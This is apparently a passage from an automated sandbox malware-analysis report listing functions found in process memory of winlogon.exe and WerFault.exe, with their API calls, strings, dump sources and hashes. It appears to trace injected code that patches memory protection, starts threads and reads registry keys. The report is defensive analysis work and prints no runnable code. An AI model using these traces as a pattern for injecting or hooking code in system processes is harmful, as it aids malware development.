Instruction Fuzzy Hash: 61F06273A5270981FB118B64E844B997321FF85BA9FD40219D56A452E4DF2EC044C383

Function 000001CA7D1E3058 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000001CA7D1E307A
StrCpyW.SHLWAPI ref: 000001CA7D1E308A
StrCatW.SHLWAPI ref: 000001CA7D1E3096
PathCombineW.SHLWAPI ref: 000001CA7D1E30A4

Strings

\\.\pipe\, xrefs: 000001CA7D1E3070

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 230e05f875843765b10c94681cacd2039b66fa3fae77185737d73b0c30566c8e
Instruction ID: 39fc8da7d399a26a4e90035f22321ef295c07e493129d72101e3cc8db3def2e9
Opcode Fuzzy Hash: 230e05f875843765b10c94681cacd2039b66fa3fae77185737d73b0c30566c8e
Instruction Fuzzy Hash: 68F0A732B55B8881FA058B53B9145997661FF48FD9F888130EE4E07B18CF3DC4868783

Function 000001CA7D1E5720 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001CA7D1E5736

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 2f21f1b7d680375770059ee47be5c824cdfe53a9a9059a6bad666dfd6aad0ae5
Instruction ID: 765e8dafc42f728ce51463b2db5c40a7feb60042766906d02ca29a17f2e0185e
Opcode Fuzzy Hash: 2f21f1b7d680375770059ee47be5c824cdfe53a9a9059a6bad666dfd6aad0ae5
Instruction Fuzzy Hash: 2761FE37A59B48C7F7618B15E450B9AB7A0F788749F900115FA8D83BA4DB7DC540CF82

Function 000001CA7D1F4674 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001CA7D1F469C
_set_statfp.LIBCMT ref: 000001CA7D1F46B7
_set_statfp.LIBCMT ref: 000001CA7D1F46D3
_set_statfp.LIBCMT ref: 000001CA7D1F470F

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 9956e04d655451dc383e316b6ba75e8c80b983be334d5368c0dfb43c842b6769
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: E011A337ED2B0801F6671168D451FE530517F697BCFC40634BAA7066E6DA26C84243C3

Function 000001CA7D1C3A74 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001CA7D1C3A9C
_set_statfp.LIBCMT ref: 000001CA7D1C3AB7
_set_statfp.LIBCMT ref: 000001CA7D1C3AD3
_set_statfp.LIBCMT ref: 000001CA7D1C3B0F

Memory Dump Source

Source File: 00000006.00000002.2638967747.000001CA7D1B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1b0000_winlogon.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 79dc0acdce94d256c5547a56f3948224d3601e2aafc90a66b494a27cd80d70a1
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 7B11E737ED4B0801F6672368E847BE930417F5937CFC80230E56E862EADA66C8D18383

Function 000001CA7D1E8580 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001CA7D1E85AB
_IsNonwritableInCurrentImage.LIBCMT ref: 000001CA7D1E8642
RtlUnwindEx.NTDLL ref: 000001CA7D1E869C

Strings

csm, xrefs: 000001CA7D1E8629

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 34f41f65ebeee98072c04c36ffcb08d764f10b3598a8f5a66480d6cdd8a7e9c2
Instruction ID: 24e0dd9f68721c0c3ca3bd256542bd7075973f55fb31fd1ab5f329473c69f4c1
Opcode Fuzzy Hash: 34f41f65ebeee98072c04c36ffcb08d764f10b3598a8f5a66480d6cdd8a7e9c2
Instruction Fuzzy Hash: 3351B033B517988AFB56CF15E444FA87391FB84B8DF908120EA4647B88DB7AC841C782

Function 000001CA7D1EAFC0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000001CA7D1EB01F
_CallSETranslator.LIBVCRUNTIME ref: 000001CA7D1EB06B

Strings

RCC, xrefs: 000001CA7D1EB03B
MOC, xrefs: 000001CA7D1EB033

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 8ebe29515744ec85b4c7a5c69406529571aeda380531785c74bea0d93e5ddae6
Instruction ID: 1d53925dee3c56d575b373dcbf28b9f574cc5d092cd1563c64954f41c80b0141
Opcode Fuzzy Hash: 8ebe29515744ec85b4c7a5c69406529571aeda380531785c74bea0d93e5ddae6
Instruction Fuzzy Hash: D061D173904BC881EB72CF15E540BDABBA0FB85B99F444315EB9843B99CB39D194CB42

Function 000001CA7D1EB370 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001CA7D1EB398
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001CA7D1EB480

Strings

csm, xrefs: 000001CA7D1EB4D2
csm, xrefs: 000001CA7D1EB3BA

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 54601b73b573f90b6a3621b815e414a07fc66bdc2a6778d7d0011f6600b73964
Instruction ID: 29bcbea5cc99e7f74d36aef28903cfe833e39e28afdb39bb5195de18103c7c4e
Opcode Fuzzy Hash: 54601b73b573f90b6a3621b815e414a07fc66bdc2a6778d7d0011f6600b73964
Instruction Fuzzy Hash: ED51AF3394038886FB76CF159644B987BA0FB54B8EF984225DA8947BD6CB39C490C783

Function 000001CA7D1BA770 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001CA7D1BA798
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001CA7D1BA880

Strings

csm, xrefs: 000001CA7D1BA8D2
csm, xrefs: 000001CA7D1BA7BA

Memory Dump Source

Source File: 00000006.00000002.2638967747.000001CA7D1B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1b0000_winlogon.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 54601b73b573f90b6a3621b815e414a07fc66bdc2a6778d7d0011f6600b73964
Instruction ID: 2bc3c3612cf833e2ad1c42e4024421941b8798db06fb65acfb60d4d2ae146d4e
Opcode Fuzzy Hash: 54601b73b573f90b6a3621b815e414a07fc66bdc2a6778d7d0011f6600b73964
Instruction Fuzzy Hash: C551CE33A4478886FB768F21D244B9877A0FB44B9CF988116DA8C47BD5CB7AC491C783

Function 000001CA7D1E2F18 Relevance: 6.3, APIs: 5, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001CA7D1E2F3B
HeapAlloc.KERNEL32 ref: 000001CA7D1E2F4E
StrCmpNIW.SHLWAPI ref: 000001CA7D1E2FC3
GetProcessHeap.KERNEL32 ref: 000001CA7D1E3029
HeapFree.KERNEL32 ref: 000001CA7D1E3037

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 787e2ccd3a4a2f0807cc7fcfab9808ef1bc99af934d1353d068844bd3f29b985
Instruction ID: 68331d0cdc66f6aa2e6d68a4811fc7f5493641d68d7da1d3c5fee51653f086a3
Opcode Fuzzy Hash: 787e2ccd3a4a2f0807cc7fcfab9808ef1bc99af934d1353d068844bd3f29b985
Instruction Fuzzy Hash: 02319F33B41B5982FA16CF56E940BA9B7A0BF44B89F884024DF4847B55EF36C4A18382

Function 000001CA7D1F25C8 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000001CA7D1F2647
WriteFile.KERNEL32 ref: 000001CA7D1F290F
WriteFile.KERNEL32 ref: 000001CA7D1F2955
GetLastError.KERNEL32 ref: 000001CA7D1F2A0B

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: ef5328ec8df5305a5bebb05340c2e4b6dc17e77d604934f64985ec379b581ae8
Instruction ID: efef8ab2af5f90e34553b15d8f5b71952d393e6803cdbd5662c74e2bffbdfca9
Opcode Fuzzy Hash: ef5328ec8df5305a5bebb05340c2e4b6dc17e77d604934f64985ec379b581ae8
Instruction Fuzzy Hash: FDD1DF33B06B8889F722CFA5D440AEC37A1FB4479CF944255CE5DA7B99DA35C406C782

Function 000001CA7D1F2EF0 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 000001CA7D1F300C
GetLastError.KERNEL32 ref: 000001CA7D1F3097

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 43d1806d22cf26bb578584b1f50928cd79f72239213f1d2f409b9d03dcc02cf4
Instruction ID: dbe08f10fb5c2e532c7d3d17c5dfa145707cd442be3c723c69fc0ca6ecbec5da
Opcode Fuzzy Hash: 43d1806d22cf26bb578584b1f50928cd79f72239213f1d2f409b9d03dcc02cf4
Instruction Fuzzy Hash: 9691EE73F5575885F7629F659480BED7BA0FB41B8CF94410ADE0A67A84DB36C482C383

Function 000001CA7D1E7970 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000001CA7D1E799C
GetCurrentThreadId.KERNEL32 ref: 000001CA7D1E79AA
GetCurrentProcessId.KERNEL32 ref: 000001CA7D1E79B6
QueryPerformanceCounter.KERNEL32 ref: 000001CA7D1E79C6

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: c25137996cf865269d3dc01569cfdf526b316795659beb4b1a68d386b57b9efa
Instruction ID: 40f1ba51dad96662f11ac96ad467e4748dff922b32281caad37b3518e4389204
Opcode Fuzzy Hash: c25137996cf865269d3dc01569cfdf526b316795659beb4b1a68d386b57b9efa
Instruction Fuzzy Hash: 8B115E32B55F048AFB01CF60E8557E833A4FB5975CF840E21EE6D827A4EB38C1598382

Function 000001CA7D1E2544 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001CA7D1E2628
StrCpyW.SHLWAPI ref: 000001CA7D1E2641

Part of subcall function 000001CA7D1E3858: StrCmpNIW.SHLWAPI ref: 000001CA7D1E3870

Strings

\\.\pipe\, xrefs: 000001CA7D1E2633

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 2214ffb8d2229323086ad34a8b531e28ba158b85d1d3dbad5c7c70fb1dba52b7
Instruction ID: c0cb3b23a291a5e1c18388a5c5224d77e2cba80131e91876240bdf4a69042d32
Opcode Fuzzy Hash: 2214ffb8d2229323086ad34a8b531e28ba158b85d1d3dbad5c7c70fb1dba52b7
Instruction Fuzzy Hash: 5271E737A4078981F776DF25D864BEA7794FB5878AFC1011EED0A43789DA36C9048783

Function 000001CA7D1B7980 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001CA7D1B79AB
_IsNonwritableInCurrentImage.LIBCMT ref: 000001CA7D1B7A42

Strings

csm, xrefs: 000001CA7D1B7A29

Memory Dump Source

Source File: 00000006.00000002.2638967747.000001CA7D1B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1b0000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm
API String ID: 3242871069-1018135373
Opcode ID: 34f41f65ebeee98072c04c36ffcb08d764f10b3598a8f5a66480d6cdd8a7e9c2
Instruction ID: d18c1629867c212125edc142be5d28f2604b491033924c58c9a4cba8a7ca871d
Opcode Fuzzy Hash: 34f41f65ebeee98072c04c36ffcb08d764f10b3598a8f5a66480d6cdd8a7e9c2
Instruction Fuzzy Hash: 7B51E033B557088AFB55CF29E044FA87791FB40B9CF948124EA8E47788D73AC941CB82

Function 000001CA7D1BA3C0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000001CA7D1BA46B

Strings

MOC, xrefs: 000001CA7D1BA433
RCC, xrefs: 000001CA7D1BA43B

Memory Dump Source

Source File: 00000006.00000002.2638967747.000001CA7D1B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1b0000_winlogon.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: 8ebe29515744ec85b4c7a5c69406529571aeda380531785c74bea0d93e5ddae6
Instruction ID: 09c55af3b9974b52cb78c98aa51ab59259fefcd4d6a26ee8bae7806f44521c8a
Opcode Fuzzy Hash: 8ebe29515744ec85b4c7a5c69406529571aeda380531785c74bea0d93e5ddae6
Instruction Fuzzy Hash: 3761C073904BC885E7328F15E540BDAB7A0FB89B98F444215EBCC43B99DB79C190CB42

Function 000001CA7D1E2338 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001CA7D1E241E
StrCpyW.SHLWAPI ref: 000001CA7D1E2435

Strings

\\.\pipe\, xrefs: 000001CA7D1E2429

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: ee842ef1b9af794ce5f9c57276e32575cf678b56a57e7c1674317c9bf9c17d00
Instruction ID: 792464171b4e510549dffe5492d106eee76e37af89db811b43d6c31c9ee4abde
Opcode Fuzzy Hash: ee842ef1b9af794ce5f9c57276e32575cf678b56a57e7c1674317c9bf9c17d00
Instruction Fuzzy Hash: B1512633A8478881F6268F29A564BEA7791FF86749FC40159DE4903B8ACA3BC40487C3

Function 000001CA7D1F2C60 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000001CA7D1F2D77
GetLastError.KERNEL32 ref: 000001CA7D1F2D99

Strings

U, xrefs: 000001CA7D1F2D23

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 6a2d2f89dbe45a9fea545bcb4aa06eef1d3c7bdcbbdd9a8edf910a903994b9b4
Instruction ID: 3f69a4f911fd7435bf626cb3594783c82f57a32be013ebfb7e8e93df65a6d977
Opcode Fuzzy Hash: 6a2d2f89dbe45a9fea545bcb4aa06eef1d3c7bdcbbdd9a8edf910a903994b9b4
Instruction Fuzzy Hash: 7641C573716B4482EB21DF25E4447D977A1FB88788F804021EE4D87798EB3DC401C782

Function 000001CA7D1E8A58 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000001CA7D1E8AA8
RaiseException.KERNEL32 ref: 000001CA7D1E8AE9

Strings

csm, xrefs: 000001CA7D1E8AD6

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: d7810ab3a0ec9818877cf1b3e283a106e6e962497adc233d094785ed36f44b7e
Instruction ID: afb6977eab6e0c94123a84478745c0422c43e9ef5b71f02b2ee91409bbc62b5d
Opcode Fuzzy Hash: d7810ab3a0ec9818877cf1b3e283a106e6e962497adc233d094785ed36f44b7e
Instruction Fuzzy Hash: 63112B33615B8482EB628B15F44069977E5FBC8B98F984224EB8D07B64EF3DC5518B41

Function 000001CA7D1E1BFC Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001CA7D1E1C35
HeapAlloc.KERNEL32 ref: 000001CA7D1E1C43
GetProcessHeap.KERNEL32 ref: 000001CA7D1E1C7F
HeapFree.KERNEL32 ref: 000001CA7D1E1C8D

Part of subcall function 000001CA7D1E1534: StrCmpIW.SHLWAPI ref: 000001CA7D1E1565

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 1e98e18f6346a7606d876eb22bc804523d63b476fed3d5047e07684f33477b56
Instruction ID: dced5fbc4efeb8eb5392c409e9291e4daa8df8c6572b07f196e14503489c10e8
Opcode Fuzzy Hash: 1e98e18f6346a7606d876eb22bc804523d63b476fed3d5047e07684f33477b56
Instruction Fuzzy Hash: D511E776A02B4881FB05CF66A4046A977A1FFC9FC9F994064CE4D83765DF3AC482D382

Function 000001CA7D1E1268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001CA7D1E126E
HeapAlloc.KERNEL32 ref: 000001CA7D1E127D
GetProcessHeap.KERNEL32 ref: 000001CA7D1E1297
HeapAlloc.KERNEL32 ref: 000001CA7D1E12A8

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: da8c3dafd84f4e9d3148870d217228cf2e181fae1a96b4a2815fc4d2442c645c
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 8FE039B6A4270886FB058B62D80878A36E1FB89B0AF848024C90907351DF7EC899C792

Analysis Process: WerFault.exePID: 7180, Parent PID: 1408COMMON

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1553
Total number of Limit Nodes:	8

Executed Functions

Function 00000265B3C02544 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32 ref: 00000265B3C02628
StrCpyW.SHLWAPI ref: 00000265B3C02641

Part of subcall function 00000265B3C03858: StrCmpNIW.SHLWAPI ref: 00000265B3C03870

Strings

\\.\pipe\, xrefs: 00000265B3C02633

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 2214ffb8d2229323086ad34a8b531e28ba158b85d1d3dbad5c7c70fb1dba52b7
Instruction ID: 2ba398b339b45d7998adf309d3898cc53a72a4c5bdb966db2cc6ff8b88e6702c
Opcode Fuzzy Hash: 2214ffb8d2229323086ad34a8b531e28ba158b85d1d3dbad5c7c70fb1dba52b7
Instruction Fuzzy Hash: 3D71B536200FF185EB76DFA9D8483AA67A4FB8978CF51015ADE4963B8DDE36C504CB00

Function 00000265B3C02034 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 00000265B3C020CE

Part of subcall function 00000265B3C02F18: GetProcessHeap.KERNEL32 ref: 00000265B3C02F3B
Part of subcall function 00000265B3C02F18: HeapAlloc.KERNEL32 ref: 00000265B3C02F4E
Part of subcall function 00000265B3C02F18: StrCmpNIW.SHLWAPI ref: 00000265B3C02FC3
Part of subcall function 00000265B3C02F18: GetProcessHeap.KERNEL32 ref: 00000265B3C03029
Part of subcall function 00000265B3C02F18: HeapFree.KERNEL32 ref: 00000265B3C03037

Strings

S, xrefs: 00000265B3C021EF

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: S
API String ID: 756756679-543223747
Opcode ID: 2c414ab3eb2c8f5067fa8ace7f17c5c48379fbe6073c257fbef930be96b73639
Instruction ID: 9c3f8332a60ebf985cc474ae06c79972bdb1bc4406ddc56b9a3991ca9a897db0
Opcode Fuzzy Hash: 2c414ab3eb2c8f5067fa8ace7f17c5c48379fbe6073c257fbef930be96b73639
Instruction Fuzzy Hash: 47519D32B10FB496EB62CFA5E8487A963A5FB0879CF059455DF0532B88DB37D852CB00

Function 00000265B3C01A48 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000265B3C01A68
StrCmpNIW.SHLWAPI ref: 00000265B3C01A82
lstrlenW.KERNEL32 ref: 00000265B3C01A91
StrCpyW.SHLWAPI ref: 00000265B3C01AA6

Strings

\\?\, xrefs: 00000265B3C01A76

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: 5d436592c77a9924c69bcb50891f68179583d79dfa63631e028aef339bed858e
Instruction ID: 0c7a8631214e96392f24a95b004fad989cc9cb6eb6f63dfd97988b1d3db6559d
Opcode Fuzzy Hash: 5d436592c77a9924c69bcb50891f68179583d79dfa63631e028aef339bed858e
Instruction Fuzzy Hash: 1BF0A432300EA092E7608BA0F4D8759A360FB44B8CF944024DE495255DDF7EC69CCF00

Function 00000265B3C032A0 Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000265B3C032C2
PathFindFileNameW.SHLWAPI ref: 00000265B3C032D1

Part of subcall function 00000265B3C03858: StrCmpNIW.SHLWAPI ref: 00000265B3C03870

Part of subcall function 00000265B3C037A4: GetModuleHandleW.KERNEL32 ref: 00000265B3C037B2
Part of subcall function 00000265B3C037A4: GetCurrentProcess.KERNEL32 ref: 00000265B3C037E0
Part of subcall function 00000265B3C037A4: VirtualProtectEx.KERNEL32 ref: 00000265B3C03802
Part of subcall function 00000265B3C037A4: GetCurrentProcess.KERNEL32 ref: 00000265B3C0381D
Part of subcall function 00000265B3C037A4: VirtualProtectEx.KERNEL32 ref: 00000265B3C0383E

CreateThread.KERNEL32 ref: 00000265B3C0331F

Part of subcall function 00000265B3C01D1C: GetCurrentThread.KERNEL32 ref: 00000265B3C01D27

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: fd13d599d4a1a9a129cf8228822ebf0962c6205abdf5c3edc3572841aa0737cc
Instruction ID: 09a4bb8fa8c0f197ce22017bca74e515aea01ce7267fdbcdb8f004f40148343a
Opcode Fuzzy Hash: fd13d599d4a1a9a129cf8228822ebf0962c6205abdf5c3edc3572841aa0737cc
Instruction Fuzzy Hash: D111C070710EB182FBA09BF0F98D3596290AF5470DF4881A59946A619DEF3BC046CB08

Function 00000265B3C01AC4 Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000265B3C01630: GetProcessHeap.KERNEL32 ref: 00000265B3C0163B
Part of subcall function 00000265B3C01630: HeapAlloc.KERNEL32 ref: 00000265B3C0164A
Part of subcall function 00000265B3C01630: RegOpenKeyExW.ADVAPI32 ref: 00000265B3C016BA
Part of subcall function 00000265B3C01630: RegOpenKeyExW.ADVAPI32 ref: 00000265B3C016E7
Part of subcall function 00000265B3C01630: RegCloseKey.ADVAPI32 ref: 00000265B3C01701
Part of subcall function 00000265B3C01630: RegOpenKeyExW.ADVAPI32 ref: 00000265B3C01721
